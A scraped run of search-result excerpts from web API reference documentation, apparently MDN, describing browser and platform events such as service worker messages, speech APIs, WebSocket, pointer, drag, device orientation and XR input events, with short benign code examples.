... bubbles no cancelable no interface extendablemessageevent event handler property onmessage examples in the below example a page gets a handle to the serviceworker object via serviceworkerregistration.active, and then calls its postmessage() function.
... // in the page being controlled if (navigator.serviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status service workersthe...
ServiceWorkerGlobalScope: notificationclick event - Web APIs
the notificationclick event is fired to indicate that a system notification spawned by serviceworkerregistration.shownotification() has been clicked.
... bubbles no cancelable no interface notificationevent event handler onnotificationclick examples you can use the notificationclick event in an addeventlistener method: self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); or...
... use the onnotificationclick event handler property: self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerGlobalScope: push event - Web APIs
the push event is sent to a service worker's global scope (represented by the serviceworkerglobalscope interface) when the service worker has received a push message.
... bubbles no cancelable no interface pushevent event handler property onpush example this example sets up a handler for push events that takes json data, parses it, and dispatches the message for handling based on information contained within the message.
... self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
SpeechRecognitionErrorEvent.error - Web APIs
the error read-only property of the speechrecognitionerrorevent interface returns the type of error raised.
... syntax var myerror = event.error; value a domstring naming the type of error.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'error' in that specification.
SpeechRecognitionErrorEvent.message - Web APIs
the message read-only property of the speechrecognitionerrorevent interface returns a message describing the error in more detail.
... syntax var myerrormsg = event.message; value a domstring containing more details about the error that was raised.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionEvent.emma - Web APIs
the emma read-only property of the speechrecognitionevent interface returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
... syntax var myemma = event.emma; value a valid xml document.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.emma); } ...
SpeechRecognitionEvent.interpretation - Web APIs
the interpretation read-only property of the speechrecognitionevent interface returns the semantic meaning of what the user said.
... this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation = event.interpretation; value the returned value can be of any type.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.interpretation); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
the resultindex read-only property of the speechrecognitionevent interface returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed.
... syntax var myresultindex = event.resultindex; value a number.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
the voiceschanged event of the web speech api is fired when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) bubbles no cancelable no interface event event handler property onvoiceschanged examples this could be used to repopulate a list of voices that the user can choose between when the event fires.
... you can use the voiceschanged event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.
...setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
the charindex read-only property of the speechsynthesisutterance interface returns the index position of the character in the speechsynthesisutterance.text that was being spoken when the event was triggered.
... syntax event.charindex; value a number.
... examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.elapsedTime - Web APIs
the elapsedtime read-only property of the speechsynthesisutterance interface returns the elapsed time in seconds after the speechsynthesisutterance.text started being spoken that the event was triggered at.
... syntax event.elapsedtime; value a float.
... examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.name - Web APIs
the name read-only property of the speechsynthesisutterance interface returns the name associated with certain types of events occuring as the speechsynthesisutterance.text is being spoken: the name of the ssml marker reached in the case of a mark event, or the type of boundary reached in the case of a boundary event.
... syntax event.name; value a domstring.
... examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
the utterance read-only property of the speechsynthesisutterance interface returns the speechsynthesisutterance instance that the event was triggered on.
... syntax event.utterance; value a speechsynthesisutterance object.
... examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SyncEvent.lastChance - Web APIs
the syncevent.lastchance read-only property of the syncevent interface returns true if the user agent will not make further synchronization attempts after the current attempt.
... this is the value passed in the lastchance parameter of the syncevent() constructor.
... syntax var lastchance = syncevent.lastchance value a boolean that indicates whether the user agent will not make further synchronization attempts after the current attempt.
SyncEvent.tag - Web APIs
WebAPISyncEventtag
the syncevent.tag read-only property of the syncevent interface returns the developer-defined identifier for this syncevent.
... this is the value passed in the tag parameter of the syncevent() constructor.
... syntax var tag = syncevent.tag value the developer-defined identifier for this syncevent.
UIEvent.pageY - Web APIs
WebAPIUIEventpageY
the uievent.pagey read-only property returns the vertical coordinate of the event relative to the whole document.
... syntax var pagey = event.pagey; pagey is an integer value in pixels for the y-coordinate of the mouse pointer, relative to the whole document, when the mouse event fired.
...vt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
VideoTrackList: change event - Web APIs
the change event is fired when a video track is made active or inactive, for example by changing the track's selected property.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); using the onchange event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onchange = (event) => { console.log(`'${event.type}' event fired`...
...); }; // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); specifications specification status html living standardthe definition of 'change' in that specification.
WebSocket: close event - Web APIs
the close event is fired when a connection with a websocket is closed.
... bubbles no cancelable no interface closeevent event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection.
... examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification.
WebSocket: message event - Web APIs
the message event is fired when data is received through a websocket.
... bubbles no cancelable no interface messageevent event handler property onmessage examples // create websocket connection.
... const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification.
WebSocket: open event - Web APIs
the open event is fired when a connection with a websocket is opened.
... bubbles no cancelable no interface event event handler property onopen examples // create websocket connection.
... const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification.
Window: devicemotion event - Web APIs
the devicemotion event is fired at a regular interval and indicates the amount of physical force of acceleration the device is receiving at that time.
... bubbles no cancelable no interface devicemotionevent event handler property window.ondevicemotion examples function handlemotionevent(event) { var x = event.accelerationincludinggravity.x; var y = event.accelerationincludinggravity.y; var z = event.accelerationincludinggravity.z; // do something awesome.
... } window.addeventlistener("devicemotion", handlemotionevent, true); specifications specification status deviceorientation event specificationthe definition of 'devicemotion event' in that specification.
Window: deviceorientation event - Web APIs
the deviceorientation event is fired when fresh data is available from an orientation sensor about the current orientation of the device as compared to the earth coordinate frame.
... bubbles no cancelable no interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do so...
...mething amazing }; specifications specification status deviceorientation event specificationthe definition of 'deviceorientation event' in that specification.
Window: message event - Web APIs
the message event is fired on a window object when the window receives a message, for example from a call to window.postmessage() from another browsing context.
... bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); alternatively the listener could use the onmessage event handler property: ...
... window.onmessage = (event) => { console.log(`received message: ${event.data}`); }; specifications specification status html living standard living standard ...
Window: rejectionhandled event - Web APIs
the rejectionhandled event is sent to the script's global scope (usually window but also worker) whenever a javascript promise is rejected but after the promise rejection has been handled.
... this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection event, which is sent when a promise is rejected but there is no hander for the rejection.
... bubbles no cancelable no interface promiserejectionevent event handler property onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification.
Window: storage event - Web APIs
the storage event of the window interface fires when a storage area (localstorage) has been modified in the context of another document.
... bubbles no cancelable no interface storageevent event handler property onstorage examples log the samplelist item to the console when the storage event fires: window.addeventlistener('storage', () => { // when local storage changes, dump the list to // the console.
... console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console.
WindowEventHandlers.onmessage - Web APIs
the onmessage property of the windoweventhandlers mixin is the eventhandler called whenever an object receives a message event.
... syntax window.addeventlistener('message', function(event) { ...
... }) window.onmessage = function(event) { ...
WindowEventHandlers.onstorage - Web APIs
the onstorage property of the windoweventhandlers mixin is an eventhandler for processing storage events.
... the storage event fires when a storage area has been changed in the context of another document.
...this function receives a storageevent as its sole argument.
Worker: messageerror event - Web APIs
the messageerror event is fired on a worker object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.error(`received message from worker: ${event}`); }; worker.onm...
...essageerror = (event) => { console.error(`error receiving message from worker: ${event}`); }; specifications specification status html living standard living standard ...
XRInputSourcesChangeEvent.session - Web APIs
the xrinputsourceschangeevent property session specifies the xrsession to which the input source list change event applies.
... syntax let inputssession = xrinputsourceschangeevent.session; value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.session' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
the xrinputsourceschangeeventinit property session specifies the xrsession to which the input source list change event applies.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
XRInputSourcesChangeEventInit - Web APIs
the xrinputsourceschangeeventinit dictionary is used to provide options to the xrinputsourceschangeevent() constructor in order to set the initial state of the new xrinputsourceschangeevent object.
... session read only the xrsession to which the event applies.
... examples <tbd> specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit' in that specification.
XRReferenceSpaceEvent.referenceSpace - Web APIs
the read-only xrreferencespaceevent property referencespace specifies the reference space which is the originator of the event.
... syntax let refspace = xrreferencespaceevent.referencespace; value an xrreferencespace indicating the source of the event.
... examples specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.referencespace' in that specification.
XRSessionEventInit.session - Web APIs
the xrsessioneventinit dictionary's session property specifies the xrsession for which the event describes a state change.
... syntax let sessioneventinit = { session: xrsession }; mysessionevent = new xrsessionevent(type, sessioneventinit); mysessionevent = new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to.
... specifications specification status comment webxr device apithe definition of 'xrsessioneventinit.session' in that specification.
touchstart - Event reference
the touchstart event is fired when one or more touch points are placed on the touch surface.
... two types of object can be the target of this event.
... element: touchstart document: touchstart bubbles yes cancelable yes interface touchevent event handler property ontouchstart specifications specification status touch events recommendation ...
preferences/event-target - Archive of obsolete content
this enables add-ons to listen to change events to the system-wide settings.
... example var { prefstarget } = require("sdk/preferences/event-target"); // listen to the same branch which reqire("sdk/simple-prefs") does var target = prefstarget({ branchname: "extensions." + require("sdk/self").preferencesbranch + "." }); target.once("test", function(prefname) { console.log(prefname) // logs "test" console.log(target.prefs[name]) // logs true }); target.once("", function() { console.log(prefname) // logs "test" console.log(tar...
eventnode - Archive of obsolete content
« xul reference home eventnode type: one of the values below indicates where keyboard navigation events are listened to.
... if this attribute is not specified, events are listened to from the tabbox.
eventNode - Archive of obsolete content
« xul reference eventnode type: eventtarget indicates the node where keyboard navigation events listener is set up.
... the initial value for this property is determined by the value of the eventnode attribute.
Event - MDN Web Docs Glossary: Definitions of Web-related terms
events are assets generated by dom elements, which can be manipulated by a javascript code.
... learn more technical reference event documentation on mdn general knowledge official website dom events on wikipedia ...
PR_DestroyPollableEvent
close the file descriptor associated with a pollable event and release related resources.
... syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
PR_NewPollableEvent
create a pollable event file descriptor.
... syntax nspr_api(prfiledesc *) pr_newpollableevent( void); parameter none.
PR_SetPollableEvent
set a pollable event.
... syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
PR_WaitForPollableEvent
blocks the calling thread until the pollable event is set, and then atomically unsetting the event before returning.
... syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
nsIChannelEventSink
netwerk/base/public/nsichanneleventsink.idlscriptable implement this interface to gain control over various channel events, such as redirects.
...if the sink wants to prevent this loading it must explicitly deal with it, e.g.
nsIDOMEventTarget
dom/interfaces/events/nsidomeventtarget.idlscriptable this interface is the interface implemented by all event targets in the document object model.
... inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) see the eventtarget documentation.
Examine Event Listeners - Firefox Developer Tools
the inspector shows the word "event" next to elements in the html pane, that have event listeners bound to them: click the icon, then you'll see a popup listing all the event listeners bound to this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to this element the name and line number for the listener; you can also click here to expand the row and view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
... firefox can display: standard dom events jquery events react events ...
AnimationEvent.animationName - Web APIs
the animationevent.animationname read-only property is a domstring containing the value of the animation-name css property associated with the transition.
... syntax name = animationevent.animationname specifications specification status comment css animationsthe definition of 'animationevent.animationname' in that specification.
AnimationEvent.pseudoElement - Web APIs
summary the animationevent.pseudoelement read-only property is a domstring, starting with '::', containing the name of the pseudo-element the animation runs on.
... syntax name = animationevent.pseudoelement specifications specification status comment css animationsthe definition of 'animationevent.pseudoelement' in that specification.
AudioTrackList: addtrack event - Web APIs
the addtrack event is fired when a track is added to an audiotracklist.
... bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('addtrack', (event) => { console.log(`audio track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onaddtrack = (event) => { console.log(`audio track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
AudioTrackList: removetrack event - Web APIs
the removetrack event is fired when a track is removed from an audiotracklist.
... bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('removetrack', (event) => { console.log(`audio track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onremovetrack = (event) => { console.log(`audio track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
BlobEvent.data - Web APIs
WebAPIBlobEventdata
the blobevent.data read-only property represents a blob associated with the event.
... syntax associatedblob = blobevent.data specifications specification status comment mediastream recordingthe definition of 'blobevent.data' in that specification.
BroadcastChannel: messageerror event - Web APIs
the messageerror event is fired on a broadcastchannel object when a message arrives on the channel that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specification status html living stand...
DedicatedWorkerGlobalScope: messageerror event - Web APIs
the messageerror event is fired on a dedicatedworkerglobalscope object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): // inside worker.js self.addeventlistener('messageerror', (event) => { self.postmessage('error receiving message'); console.error(event); }); the same, but using the onmessageerror event handler property: // inside worker.js self.onmessageerror = (event) => { self.postmessage('error receiving message'); console.error(event); }; specifications specification status html living standard living standard ...
DeviceLightEvent.value - Web APIs
syntax var light = instanceofdevicelightevent.value; value a positive number representing a light intensity expressed in lux.
... specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
DeviceMotionEvent.interval - Web APIs
you can use this to determine the granularity of motion events.
... syntax var interval = devicemotionevent.interval; specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.rotationRate - Web APIs
syntax var rotationrate = devicemotionevent.rotationrate; value the rotationrate property is a read only object describing the rotation rates of the device around each of its axes: alpha the rate at which the device is rotating about its z axis; that is, being twisted about a line perpendicular to the screen.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEventRotationRate: alpha - Web APIs
this property indicates the rate of rotation around the z axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: alpha' in that specification.
DeviceMotionEventRotationRate: beta - Web APIs
this property indicates the rate of rotation around the x axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: beta' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
this property indicates the rate of rotation around the y axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: gamma' in that specification.
DeviceOrientationEvent.absolute - Web APIs
syntax var absolute = instanceofdeviceorientationevent.absolute; on return, absolute is true if the orientation data in instanceofdeviceorientationevent is provided as the difference between the earth's coordinate frame and the device's coordinate frame, or false if the orientation data is being provided in reference to some arbitrary, device-determined coordinate frame.
... specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceProximityEvent.value - Web APIs
the value property of deviceproximityevent objects provides the current distance between the device and the detected object, in centimeters.
... syntax var distance = instanceofdeviceproximityevent.value; value a positive number representing a distance in centimeters (cm) between the device's proximity sensor and the detected object.
Document: dragend event - Web APIs
the dragend event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
... bubbles yes cancelable no default action varies interface dragevent event handler property ondragend examples see the drag event for example code or this jsfiddle demo.
Document: dragenter event - Web APIs
the dragenter event is fired when a dragged element or text selection enters a valid drop target.
... interface dragevent event handler property ondragenter examples see the drag event for example code or this jsfiddle demo.
Document: dragexit event - Web APIs
the dragexit event is fired when an element is no longer the drag operation's immediate selection target.
... interface dragevent event handler property ondragexit examples see the drag event for example code or this jsfiddle demo.
Document: dragleave event - Web APIs
the dragleave event is fired when a dragged element or text selection leaves a valid drop target.
... interface dragevent event handler property ondragleave examples see the drag event for example code or this jsfiddle demo.
Document: dragstart event - Web APIs
the dragstart event is fired when the user starts dragging an element or text selection.
... interface dragevent event handler property ondragstart examples see the drag event for example code or this jsfiddle demo.
Document: pointerdown event - Web APIs
the pointerdown event is fired when a pointer becomes active.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): document.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: document.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events obsolete ...
Document: pointerenter event - Web APIs
the pointerenter event fires when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a device that does not support hover (see pointerdown).
... bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): document.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: document.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events obsolete ...
Document: pointerlockchange event - Web APIs
the pointerlockchange event is fired when the pointer is locked/unlocked.
... bubbles yes cancelable no interface event event handler property onpointerlockchange examples using addeventlistener(): document.addeventlistener('pointerlockchange', (event) => { console.log('pointer lock changed'); }); using the onpointerlockchange event handler property: document.onpointerlockchange = (event) => { console.log('pointer lock changed'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointerlockerror event - Web APIs
the pointerlockerror event is fired when locking the pointer failed (for technical reasons or because the permission was denied).
... bubbles yes cancelable no interface event event handler property onpointerlockerror examples using addeventlistener(): const para = document.queryselector('p'); document.addeventlistener('pointerlockerror', (event) => { console.log('error locking pointer'); }); using the onpointerlockerror event handler property: document.onpointerlockerror = (event) => { console.log('error locking pointer'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
... bubbles yes cancelable yes interface pointerevent event handler property onpointermove examples using addeventlistener(): document.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); using the onpointermove event handler property: document.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
Document: pointerout event - Web APIs
the pointerout event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): document.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: document.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsolete ...
Document: pointerover event - Web APIs
the pointerover event is fired when a pointing device is moved into an element's hit test boundaries.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): document.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: document.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
Document: pointerup event - Web APIs
the pointerup event is fired when a pointer is no longer active.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): document.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: document.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
Document: selectionchange event - Web APIs
the selectionchange event of the selection api is fired when the current text selection on a document is changed.
... bubbles no cancelable no interface event event handler property onselectionchange examples // addeventlistener version document.addeventlistener('selectionchange', () => { console.log(document.getselection()); }); // onselectionchange version document.onselectionchange = () => { console.log(document.getselection()); }; specifications specification status comment selection apithe definition of 'selectionchange' in that specification.
Element: show event - Web APIs
the show event is fired when a contextmenu event was fired on/bubbled to an element that has a contextmenu attribute.
... bubbles no cancelable no interface event event handler property onshow examples <div contextmenu="test"></div> <menu type="context" id="test"> <menuitem label="alert" onclick="alert('the alert label has been clicked')" /> </menu> <script> document.getelementbyid("test").addeventlistener("show", function(e){ alert("the context menu will be displayed"); }, false); </script> specifications specification status html5the definition of 'show event' in that specification.
Event.msConvertURL() - Web APIs
syntax var retval = dragevent.msconverturl(file, targettype, targeturl); parameters file [in] type: file the file object to be converted.
... example var bloblist = []; document.getelementbyid("pastezone").addeventlistener('paste', handlepaste, false); function handlepaste(evt) { var filelist = window.clipboarddata.files; // note that window.datatransfer.files is not applicable.
EventSource.onerror - Web APIs
the onerror property of the eventsource interface is an eventhandler called when an error occurs and the error event is dispatched on an eventsource object.
... syntax eventsource.onerror = function examples evtsource.onerror = function() { console.log("eventsource failed."); }; note: you can find a full example on github — see simple sse demo using php.
EventSource.onopen - Web APIs
